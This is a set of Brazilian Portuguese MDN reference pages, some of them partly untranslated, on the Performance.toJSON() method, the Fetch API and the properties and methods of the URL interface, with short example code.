{"title":"Performance.toJSON() - APIs da Web","text":"Performance.toJSON()\n====================\n\nO método **`toJSON()`** da interface `Performance` (en-US) é um serializador padrão: Ele retorna uma representação em JSON das propriedades do objeto performance.\n\nSintaxe\n-------\n```\n\nminhaPerf = performance.toJSON()\n```\n\n### Argumentos\n\nNenhum\n\n### Valor de retorno\n\nminhaPerf\n\nUm objeto JSON que é a serialização do objeto `Performance` (en-US).\n\nExemplo\n-------\n\n\n```js\nvar js;\njs = window.performance.toJSON();\nconsole.log(\"json = \" + JSON.stringify(js));\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| High Resolution Time # dom-performance-tojson |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Usando Fetch - APIs da Web","text":"Usando Fetch\n============\n\nA API Fetch fornece uma interface JavaScript para acessar e manipular partes do pipeline HTTP, tais como os pedidos e respostas. Ela também fornece o método global `fetch()` (en-US) que fornece uma maneira fácil e lógica para buscar recursos de forma assíncrona através da rede.\n\nEste tipo de funcionalidade era obtida anteriormente utilizando `XMLHttpRequest`. Fetch fornece uma alternativa melhor que pode ser facilmente utilizada por outras tecnologias como `Service Workers` (en-US). Fetch também provê um lugar lógico único para definir outros conceitos relacionados ao protocolo HTTP como CORS e extensões ao HTTP.\n\nNote que a especificação `fetch()` difere de `jQuery.ajax()`, principalmente, de três formas:\n\n* A Promise retornada do `fetch()` **não rejeitará o status do erro HTTP,** mesmo que a resposta seja um HTTP 404 ou 500. Em vez disso, ela irá resolver normalmente (com o status `ok` definido como falso), e só irá rejeitar se houver falha na rede ou se algo impedir a requisição de ser completada.\n* `fetch()` **não receberá cookies cross-site;** você não pode estabelecer uma conexão cross-site usando fetch. Cabeçalhos `Set-Cookie` de outros sites são ignorados silenciosamente.\n* `fetch()` **não enviará cookies**, a não ser que seja definida a opção *credentials* do parâmetro init. (Desde 25 de agosto de 2017. A especificação alterou as políticas padrão de credenciais para `same-origin`. O Firefox mudou desde 61.0b13.)\nSituação do suporte por navegadores\n-----------------------------------\n\nOs suportes para Fetch ainda estão em uma fase bastante precoce, mas começa a ter progresso. Se tornou um padrão no Firefox 39 e Chrome 42 até as versões mais atuais.\n\nCaso tenha interesse no uso da ferramenta, há também uma Fetch Polyfill disponivel que recria as funcionalidade para outros navegadores que ainda não o suporta. Fique ciente que está em estado experimental e ainda não há uma versão completa.\n\n**Nota:** There have been some concerns raised that the Fetch spec is at odds with the Streams spec; however, future plans show an intention to integrate Streams with Fetch: read Fetch API integrated with Streams for more information.\n\nDetecção de Recursos\n--------------------\n\nFetch API support pode ser detectada na existência do escopo `Headers` (en-US), `Request`, `Response` ou `fetch()` (en-US) no `Window` ou `Worker` . Por exemplo, faça o seguinte teste no seu código:\n\n\n```js\nif (self.fetch) {\n  // execute minha solicitação do fetch aqui\n} else {\n  // faça alguma coisa com XMLHttpRequest?\n}\n```\n\nFazendo as requisições Fetch\n----------------------------\n\nUma requisição fetch é realizada para configuração. Temos um exemplo no seguinte código:\n\n\n```js\nvar myImage = document.querySelector(\"img\");\n\nfetch(\"flowers.jpg\")\n  .then(function (response) {\n    return response.blob();\n  })\n  .then(function (myBlob) {\n    var objectURL = URL.createObjectURL(myBlob);\n    myImage.src = objectURL;\n  });\n```\n\n\nAqui estamos procurando uma imagem e inserindo em um elemento `<img>`. O uso mais básico do`fetch()` acarreta em um argumento — a pasta do recurso que você deseja buscar — e retorna uma promessa contendo a resposta (a `Response` object).\n\nEsta é apenas uma resposta HTTP, não a imagem em sí. Para extrairmos a imagem da resposta, nós usamos o método `blob()` (en-US) (definido no mixin do `Body`, que são implementados por ambos os objetos `Request` e `Response`.)\n\n**Nota:** O Body mixin além disso possui métodos similares para extrair outros tipos de conteúdo do body; Veja a sessão Body para mais detalhes.\n\nUm `objectURL` é criado na extração de `Blob`, que então é inserido no `img`.\n\nRequisições Fetch são controladas pela directiva `connect-src` do Content Security Policy (en-US) ao invés da directiva do recurso retornado.\n\n### Fornecendo opções de request\n\nO método `fetch()` pode receber um segundo parametro opcional, que consiste em um objeto `init` que permite setar várias configurações:\n\n\n```js\nvar myHeaders = new Headers();\n\nvar myInit = {\n  method: \"GET\",\n  headers: myHeaders,\n  mode: \"cors\",\n  cache: \"default\",\n};\n\nfetch(\"flowers.jpg\", myInit)\n  .then(function (response) {\n    return response.blob();\n  })\n  .then(function (myBlob) {\n    var objectURL = URL.createObjectURL(myBlob);\n    myImage.src = objectURL;\n  });\n```\n\n\nSee `fetch()` (en-US) for the full options available, and more descriptions.\n\n### Verificando se o fetch foi bem sucedido\n\nUma promise `fetch()` (en-US) será rejeitada com um `TypeError` quando um erro de rede é encontrado, embora isso geralmente signifique problemas de permissão ou similar — um 404 não constitui um erro de rede, por exemplo. Uma verificação precisa de um `fetch()` bem-sucedido incluiria a verificação de que a promessa foi resolvida e, em seguida, a verificação de que a propriedade `Response.ok` (en-US) tem o valor de `true`. O código seria parecido com o abaixo:\n\n\n```js\nfetch(\"flowers.jpg\")\n  .then(function (response) {\n    if (response.ok) {\n      response.blob().then(function (myBlob) {\n        var objectURL = URL.createObjectURL(myBlob);\n        myImage.src = objectURL;\n      });\n    } else {\n      console.log(\"Network response was not ok.\");\n    }\n  })\n  .catch(function (error) {\n    console.log(\n      \"There has been a problem with your fetch operation: \" + error.message,\n    );\n  });\n```\n\n### Fornecendo seu próprio objeto de solicitação\n\nEm vez de passar um caminho, para o recurso que você deseja solicitar, dentro da rquisição `fetch()`, você pode criar um objeto de solicitação usando o construtor `Request()`, e então passar a solicitação como um argumento do método `fetch()` :\n\n\n```js\nvar myHeaders = new Headers();\n\nvar myInit = {\n  method: \"GET\",\n  headers: myHeaders,\n  mode: \"cors\",\n  cache: \"default\",\n};\n\nvar myRequest = new Request(\"flowers.jpg\", myInit);\n\nfetch(myRequest)\n  .then(function (response) {\n    return response.blob();\n  })\n  .then(function (myBlob) {\n    var objectURL = URL.createObjectURL(myBlob);\n    myImage.src = objectURL;\n  });\n```\n\n\n`Request()` aceita exatamente os mesmos parâmetros do método `fetch()`. Você pode até mesmo passar um objeto de solicitação existente para criar uma cópia dele:\n\n\n```js\nvar anotherRequest = new Request(myRequest, myInit);\n```\n\n\nIsso é muito útil, pois os conteúdos de cada solicitação e resposta tem apenas um uso. Fazer uma cópia como essa permite que você use a solicitação / resposta novamente, variando as opções de inicialização, se desejar.\n\n**Nota:** Também existe um método que cria uma cópia: `clone ()` (en-US). Isso tem uma semântica ligeiramente diferente do outro método de cópia: o primeiro dirá se o conteúdo, da solicitação anterior, já tiver sido lido (ou copiado), enquanto o segundo, `clone()` não.\n\nHeaders\n-------\n\nA interface `Headers` (en-US) permite que você crie seus proprios objetos headers por meio do construtor `Headers()` (en-US). Um objeto headers é um mapa multidimensional simples de nomes para o valor?\n\n\n```js\nvar content = \"Hello World\";\nvar myHeaders = new Headers();\nmyHeaders.append(\"Content-Type\", \"text/plain\");\nmyHeaders.append(\"Content-Length\", content.length.toString());\nmyHeaders.append(\"X-Custom-Header\", \"ProcessThisImmediately\");\n```\n\n\nO mesmo pode ser feito passando um array de arrays ou um objeto literal para o construtor:\n\n\n```js\nmyHeaders = new Headers({\n  \"Content-Type\": \"text/plain\",\n  \"Content-Length\": content.length.toString(),\n  \"X-Custom-Header\": \"ProcessThisImmediately\",\n});\n```\n\n\nO conteúdo pode ser consultado e recuperado:\n\n\n```js\nconsole.log(myHeaders.has(\"Content-Type\")); // true\nconsole.log(myHeaders.has(\"Set-Cookie\")); // false\nmyHeaders.set(\"Content-Type\", \"text/html\");\nmyHeaders.append(\"X-Custom-Header\", \"AnotherValue\");\n\nconsole.log(myHeaders.get(\"Content-Length\")); // 11\nconsole.log(myHeaders.getAll(\"X-Custom-Header\")); // [\"ProcessThisImmediately\", \"AnotherValue\"]\n\nmyHeaders.delete(\"X-Custom-Header\");\nconsole.log(myHeaders.getAll(\"X-Custom-Header\")); // [ ]\n```\n\n\nSome of these operations are only useful in `ServiceWorkers` (en-US), but they provide a much nicer API for manipulating headers.\n\nAll of the Headers methods throw a TypeError if a header name is used that is not a valid HTTP Header name. The mutation operations will throw a TypeError if there is an immutable guard (see below). Otherwise they fail silently. For example:\n\n\n```js\nvar myResponse = Response.error();\ntry {\n  myResponse.headers.set(\"Origin\", \"http://mybank.com\");\n} catch (e) {\n  console.log(\"Cannot pretend to be a bank!\");\n}\n```\n\n\nA good use case for headers is checking whether the content type is correct before you process it further. For example:\n\n\n```js\nfetch(myRequest).then(function (response) {\n  var contentType = response.headers.get(\"content-type\");\n  if (contentType && contentType.indexOf(\"application/json\") !== -1) {\n    return response.json().then(function (json) {\n      // process your JSON further\n    });\n  } else {\n    console.log(\"Oops, we haven't got JSON!\");\n  }\n});\n```\n\n### Guard\n\nSince headers can be sent in requests and received in responses, and have various limitations about what information can and should be mutable, headers objects have a guard property. This is not exposed to the Web, but it affects which mutation operations are allowed on the headers object.\n\nPossible guard values are:\n\n* `none`: default.\n* `request`: guard for a headers object obtained from a request (`Request.headers` (en-US)).\n* `request-no-cors`: guard for a headers object obtained from a request created with `Request.mode` (en-US) `no-cors`.\n* `response`: guard for a Headers obtained from a response (`Response.headers` (en-US)).\n* `immutable`: Mostly used for ServiceWorkers; renders a headers object read-only.\n\n**Nota:** You may not append or set a `request` guarded Headers' `Content-Length` header. Similarly, inserting `Set-Cookie` into a response header is not allowed: ServiceWorkers are not allowed to set cookies via synthesized responses.\n\nResponse objects\n----------------\n\nAs you have seen above, `Response` instances are returned when `fetch()` promises are resolved.\n\nThey can also be created programmatically via JavaScript, but this is only really useful in `ServiceWorkers` (en-US), when you are providing a custom response to a received request using a `respondWith()` (en-US) method:\n\n\n```js\nvar myBody = new Blob();\n\naddEventListener(\"fetch\", function (event) {\n  event.respondWith(\n    new Response(myBody, {\n      headers: { \"Content-Type\": \"text/plain\" },\n    }),\n  );\n});\n```\n\n\nThe `Response()` (en-US) constructor takes two optional arguments — a body for the response, and an init object (similar to the one that `Request()` accepts.)\n\nThe most common response properties you'll use are:\n\n* `Response.status` (en-US) — An integer (default value 200) containing the response status code.\n* `Response.statusText` (en-US) — A string (default value \"OK\"),which corresponds to the HTTP status code message.\n* `Response.ok` (en-US) — seen in use above, this is a shorthand for checking that status is in the range 200-299 inclusive. This returns a `Boolean` (en-US).\n\n**Nota:** The static method `error()` (en-US) simply returns an error response. Similarly, `redirect()` (en-US) returns a response resulting in\n a redirect to a specified URL. These are also only relevant to Service Workers.\n\n\nBody\n----\n\nBoth requests and responses may contain body data. A body is an instance of any of the following types.\n\n* `ArrayBuffer`\n* `ArrayBufferView` (en-US) (Uint8Array and friends)\n* `Blob`/File\n* string\n* `URLSearchParams`\n* `FormData`\n\nThe `Body` mixin defines the following methods to extract a body (implemented by both `Request` and `Response`). These all return a promise that is eventually resolved with the actual content.\n\n* `arrayBuffer()` (en-US)\n* `blob()` (en-US)\n* `json()` (en-US)\n* `text()` (en-US)\n* `formData()` (en-US)\n\nThis makes usage of non-textual data much easier than it was with XHR.\n\nRequest bodies can be set by passing body parameters:\n\n\n```js\nvar form = new FormData(document.getElementById(\"login-form\"));\nfetch(\"/login\", {\n  method: \"POST\",\n  body: form,\n});\n```\n\n\nBoth request and response (and by extension the `fetch()` function), will try to intelligently determine the content type. A request will also automatically set a `Content-Type` header if none is set in the dictionary.\n\nEspecificações\n--------------\n\n{{Specifications}}Compatibilidade com navegadores\n-------------------------------\n\n{{Compat}}\n* ServiceWorker API (en-US)\n* HTTP access control (CORS) (en-US)\n* HTTP\n* Fetch polyfill\n* Fetch examples on Github"}
{"title":"Conceitos básicos de Fetch - APIs da Web","text":"Conceitos básicos de Fetch\n==========================\n\nA Fetch API fornece uma interface para buscar recursos (inclusive pela rede). Parecerá familiar para alguém que já tenha usado `XMLHttpRequest`, mas ela fornece um conjunto de recursos mais poderoso e flexível . Este artigo expõe alguns conceitos básicos da API Fetch.\n\n**Nota:** Este artigo será incrementado ao longo do tempo. Se você achar um conceito em Fetch que parece precisar de uma explicação melhor, informe alguém em fórum de discussãMDN, or Mozilla IRC (#mdn room.)\n\nEm poucas palavras\n------------------\n\nO coração do Fetch são as abstrações da Interface do HTTP `Request`, `Response`, `Headers` (en-US), e `Body` payloads, juntamente com `global fetch` (en-US) método para iniciar requisições de recursos assíncronos. Como os componentes principais do HTTP são abstraidos como objetos de JavaScript, torna-se fácil APIs fazer uso das funcionalidades.\n\nService Workers (en-US) é um exemplo de uma API que faz um grande uso de Fecth.\n\nFetch leva a assincronicidade um passo além. A API é completamente baseada em `Promise`.\n\nGuard\n-----\n\nGuard é uma novidade de objetos `Headers` (en-US), podendo assumir os valores de `immutable`, `request`, `request-no-cors`, `response`, ou `none`, dependendo de onde o cabeçalho é utilizado.\n\nQuando um novo objeto `Headers` (en-US) é criado usando o `Headers()` (en-US) constructor (en-US), seu guard é configurado como `none` (o padrão). Quando um objeto `Request` ou `Response` é criado, tem um objeto `Headers` (en-US) associado cujo guard é resumido a seguir:\n\n| Novo tipo de objeto | Construtor criado | Configuração guard associada ao objeto `Headers` (en-US) |\n| --- | --- | --- |\n| `Request` | `Request()` | `request` |\n| `Request()` com\n `mode` (en-US) de `no-cors` | `request-no-cors` |\n| `Response` | `Response()` (en-US) | `response` |\n| \n Métodos `error()` (en-US) ou\n `redirect()` (en-US) | `immutable` |\n\nUm cabeçalho guard afeta os métodos `set()` (en-US), `delete()` (en-US), e `append()` (en-US) os quais mudam o conteúdo do cabeçalho. Um`TypeError` é lançado se você tentar modificar um objeto `Headers` (en-US) objeto cujo \"guard\" é `immutable`. De qualquer maneira, a operação vai funcionar se\n\n* guard for um `request` e o *name* de cabeçalho não for forbidden header name .\n* guard for `request-no-cors` e os *name*/*value* de cabeçalho for simple header (en-US) .\n* guard for `response` e o *name* de cabeçalho não for forbidden response header name ."}
{"title":"Uso de busca Cross-global - APIs da Web","text":"Uso de busca Cross-global\n=========================\n\nEste artigo explica um \"edge case\" (um problema ou situação que ocorre apenas em um parâmetro operacional extremo) que ocorre ao utilizar fetch (e potencialmente outras APIs que exibem o mesmo tipo de comportamento de recuperação de recurso). Quando uma busca de cross-origin envolvendo uma URL relativa é iniciada a partir de um `<iframe>`, a URL relativa costumava ser resolvida na localização global atual, em vez da localização do iframe.\n\nO \"edge case\"\n-------------\n\nMuitos sites nunca se deparam com este caso extremo. Para que isso aconteça:\n\n* Você precisa de um iframe de mesma origem\n* Esse iframe de mesma origem precisa ter um local com um URL base diferente\n* Você tem que usar a função de busca global, por exemplo, frame.contentWindow.fetch ()\n* A URL passada precisa ser relativa\nO problema\n----------\n\nNo passado, resolveríamos o URL relativo contra o global atual, por exemplo:\n\n\n```js\nlet absolute = new URL(relative, window.location.href);\n```\n\n\nIsto não é um problema como tal. É que diferentes APIs que exibem esse tipo de comportamento estavam fazendo isso de maneira inconsistente com o comportamento definido na especificação, o que poderia levar a problemas mais adiante.\n\nA solução\n---------\n\nNo Firefox 60 em diante, o Mozilla resolve a URL relativa contra o global que possui a função `fetch()` que está sendo usada (veja Erro do Firefox 1432272). Portanto, no caso descrito acima, ele é resolvido em relação à localização do iframe:\n\n\n```js\nlet absolute = new URL(relative, frame.contentWindow.location.href);\n```\n\n\nHá muita discussão em andamento sobre a obtenção de novas especificações para se alinhar a essa mudança de comportamento, a fim de mitigar possíveis problemas no futuro."}
{"title":"URL.toJSON() - APIs da Web","text":"URL.toJSON()\n============\n\nO metodo **`toJSON()`** da interface `URL` retorna uma `USVString` (en-US) contendo a versão serializada de uma URL, apesar de que na prática ele tem o mesmo efeito que o `URL.toString()`\n\n**Note:** This feature is available in Web Workers\n\nSintaxe\n-------\n\n\n```js\nconst href = url.toJSON();\n```\n\n### Valor de retorno\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nconst url = new URL(\n  \"https://developer.mozilla.org/pt-BR/docs/Web/API/URL/toString\",\n);\nurl.toJSON(); // deve retornar a url como string\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-tojson |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Polyfill de `URL.prototype.toJSON` em `core-js`"}
{"title":"URL.host - APIs da Web","text":"URL.host\n========\n\nA propriedade **`host`** da interface `URL` é uma `USVString` (en-US) contendo o host, que é o `hostname`, e também, se o port da URL não for vazia, o ':'`, seguido pelo `port` da URL.\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nlet url = new URL(\"https://developer.mozilla.org/pt-BR/docs/Web/API/URL/host\");\nconsole.log(url.host); // \"developer.mozilla.org\"\n\nurl = new URL(\"https://developer.mozilla.org:443/pt-BR/docs/Web/API/URL/host\");\nconsole.log(url.host); // \"developer.mozilla.org\"\n// O número da porta não está incluso porque 443 é o esquema padrão de porta\n\nurl = new URL(\"https://developer.mozilla.org:4097/pt-BR/docs/Web/API/URL/host\");\nconsole.log(url.host); // \"developer.mozilla.org:4097\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-host |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.port - APIs da Web","text":"URL.port\n========\n\nA propriedade **`port`** da interface `URL` é uma `USVString` (en-US) contendo o número da porta da URL.\n\nse uma string de entrada passada para o construtor `URL()` (en-US) não contiver um número de porta explicitamente (por exemplo, `https://localhost`) ou contiver um número de porta que é o número de porta padrão correspondente à parte do protocolo da string de entrada (por exemplo, `https://localhost:443`), então no `URL` que o construtor retornar, o valor da propriedade port será a string vazia: `''`.\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nconst url = new URL(\"https://mydomain.com:80/svn/Repos/\");\nconsole.log(url.port); // Logs '80'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-port |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.password - APIs da Web","text":"URL.password\n============\n\nA propriedade **`password`** da interface `URL` é uma `USVString` (en-US) que contém a senha especificada antes do nome do domínio.\n\nSe for definido primeiramente sem a propriedade `username`, ele irá falhar silenciosamente.\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nconst url = new URL(\n  \"https://anonymous:flabada@developer.mozilla.org/pt-BR/docs/Web/API/URL/password\",\n);\nconsole.log(url.password); // Logs \"flabada\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-password |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.hostname - APIs da Web","text":"URL.hostname\n============\n\nA propriedade **`hostname`** da interface `URL` é uma `USVString` (en-US) contendo o domain name da URL.\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplo\n-------\n\n\n```js\nconst url = new URL(\n  \"https://developer.mozilla.org/pt-BR/docs/Web/API/URL/hostname\",\n);\nconsole.log(url.hostname); // Logs: 'developer.mozilla.org'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-hostname |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.origin - APIs da Web","text":"URL.origin\n==========\n\nA propriedade somente de leitura **`origin`** da interface `URL` retorna uma `USVString` (en-US) contendo a serialização Unicode da origem da URL representada.\n\nA estrutura exata tem uma variação dependendo do tipo de URL:\n\n* Para URLs `http` ou `https`, o esquema é seguido por `'://'`, seguido pelo domímio, seguido por `':'`, seguido pela porta (a porta padrão, `80` e `443` respectivamente, se for especificada explicitamente ).\n* Para as URls `file:`, o valor é dependente do browser.\n* Para as Urls `blob:`, a origem da URl seguido pelo `blob:` será utilizada, e.g `\"blob:https://mozilla.org\"` o que sera retornado é `\"https://mozilla.org\".`\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplo\n-------\n\n\n```js\nconst url = new URL(\"blob:https://mozilla.org:443/\");\nconsole.log(url.origin); // Logs 'https://mozilla.org'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-origin |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.createObjectURL() - APIs da Web","text":"URL.createObjectURL()\n=====================\n\n---\n\nO método estático **`URL.createObjectURL()`** cria um `DOMString` contendo a URL representando o objeto passado como parâmetro.\n\nO tempo de vida da URL é vinculado ao `document` da janela onde ele foi criado. O novo objeto URL represenda o objeto `File` especificado ou o objeto `Blob`.\n\nPara anular um objeto URL, execute o método `revokeObjectURL()`\n\n**Note:** This feature is available in Web Workers\n\n**Nota:** Esta funcionalidade não está disponível em Service Workers devido ao potencial de criar vazamento de memória\n\nSintaxe\n-------\n\n\n```js\nconst objectURL = URL.createObjectURL(object);\n```\n\n### Parâmetros\n\n`object`\n\nUm `File`, `Blob`, ou objeto `MediaSource` (en-US) para criar um objeto URL.\n\n### Retorno de valor\n\nUma `DOMString` contendo o objeto URL e pode ser usado para referenciar o conteúdo especificado na origem do `object`.\n\nExemplos\n--------\n\nVeja Usando objeto URL para exibir imagens (en-US).\n\nNotas de uso\n------------\n\n### Gerenciamento de memória\n\nCada vez que você executa `createObjectURL()`, um novo objeto URL é criado, mesmo que você já tenha criado este objeto. Cada um desses pode ser eliminado executando o método `URL.revokeObjectURL()` quando você não precisa mais dele.\n\nOs navegadores vão limpar objetos URLs automaticamente quando o documento for descarregado; contudo, para otimizar a performace e o uso de memória, se há momentos que é seguro descarregar, você deve fazer isso.\n\n### Usando objeto URL para media stream\n\nEm versões antigas da especificação Media Source, anexar stream a um elemento `<video>` é obrigatório criar um objeto URL para o `MediaStream` (en-US). Isto não é mais necessário, e os navegadores estão removendo o suporte para isso.\n\n> \n> \n> **Warning:** Se você ainda tem código com\n>  `createObjectURL()` para anexar streams em elementos\n>  de media, você precisa atualizar seu código para `srcObject` (en-US) to the `MediaStream` directly.\n>  \n> \n> \n> \n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # dfn-createObjectURL |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando arquivos de aplicativos da web (en-US)\n* Usando objetos URLs para exibir imagens (en-US)\n* `URL.revokeObjectURL()`\n* `HTMLMediaElement.srcObject` (en-US)\n* `FileReader.readAsDataURL()`"}
{"title":"URL.href - APIs da Web","text":"URL.href\n========\n\nA propriedade **`href`** da interface `URL` é uma `USVString` (en-US) contendo toda a URL\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nconst url = new URL(\n  \"https://developer.mozilla.org/pt-BR/docs/Web/API/URL/href\",\n);\nconsole.log(url.href); // Logs: 'https://developer.mozilla.org/pt-BR/docs/Web/API/URL/href'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-href |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.username - APIs da Web","text":"URL.username\n============\n\nA propriedade **`username`** da interface `URL` é uma `USVString` (en-US) contendo o nome de usuário especificado antes do nome do domínio.\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nconst url = new URL(\n  \"https://anonymous:flabada@developer.mozilla.org/pt-BR/docs/Web/API/URL/username\",\n);\nconsole.log(url.username); // Logs \"anonymous\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-username |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.hash - APIs da Web","text":"URL.hash\n========\n\nA propriedade **`hash`** da interface `URL` é uma `USVString` (en-US) contendo o `'#'` seguido pelo identificador de fragmento da URL.\n\nO fragmento não é percent-decoded (en-US). Se a URL não tem o framento de identificação, esta propriedade contém uma string vazia - `\"\"`.\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nconst url = new URL(\n  \"https://developer.mozilla.org/pt-BR/docs/Web/API/URL/href#Examples\",\n);\nconsole.log(url.hash); // Logs: '#Examples'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-hash |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.protocol - APIs da Web","text":"URL.protocol\n============\n\nA propriedade **`protocol`** da interface `URL` é uma `USVString` (en-US) representando o esquema de protocolo da URL, incluindo o final `':'`.\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nconst url = new URL(\n  \"https://developer.mozilla.org/pt-BR/docs/Web/API/URL/protocol\",\n);\nconsole.log(url.protocol); // Logs \"https:\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-protocol |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.searchParams - APIs da Web","text":"URL.searchParams\n================\n\nA propriedade **`searchParams`** da interface `URL` retorna um objeto `URLSearchParams` permitindo acesso ao `GET` decodificando os argumentos que contém na URL.\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUm objeto `URLSearchParams`.\n\nExemplos\n--------\n\n Se a URl da sua página é\n `https://example.com/?name=Jonathan%20Smith&age=18` você pode analisar os parâmetros `name` e `age` utilizando:\n\n\n```js\nlet params = new URL(document.location).searchParams;\nlet name = params.get(\"name\"); // é a string \"Jonathan Smith\".\nlet age = parseInt(params.get(\"age\")); // é o número 18\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-searchparams |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"URL.search - APIs da Web","text":"URL.search\n==========\n\nA propriedade **`search`** da interface `URL` é uma string de pesquisa, também chamada de *query string*, ela é uma `USVString` (en-US) contendo uma `'?'` seguido pelos parâmetros da URL.\n\nNavegadores modernos fornecem a propriedade `URL.searchParams` para facilitar a análise de parâmetros da query string.\n\n**Note:** This feature is available in Web Workers\n\nValor\n-----\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nconst url = new URL(\n  \"https://developer.mozilla.org/pt-BR/docs/Web/API/URL/search?q=123\",\n);\nconsole.log(url.search); // Logs \"?q=123\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # dom-url-search |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
{"title":"URL.toString() - APIs da Web","text":"URL.toString()\n==============\n\nO método **`URL.toString()`** stringifier (en-US) retorna a `USVString` (en-US) contendo toda a URL. Efetivamente esta é a versão read-only de `URL.href`.\n\n**Note:** This feature is available in Web Workers\n\nSintaxe\n-------\n\n\n```js\nconst href = url.toString();\n```\n\n### Retorna o valor\n\nUma `USVString` (en-US).\n\nExemplos\n--------\n\n\n```js\nconst url = new URL(\n  \"https://developer.mozilla.org/pt-BR/docs/Web/API/URL/toString\",\n);\nurl.toString(); // deve rerornar a URL como string\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # URL-stringification-behavior |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A interface `URL` a quem pertence."}
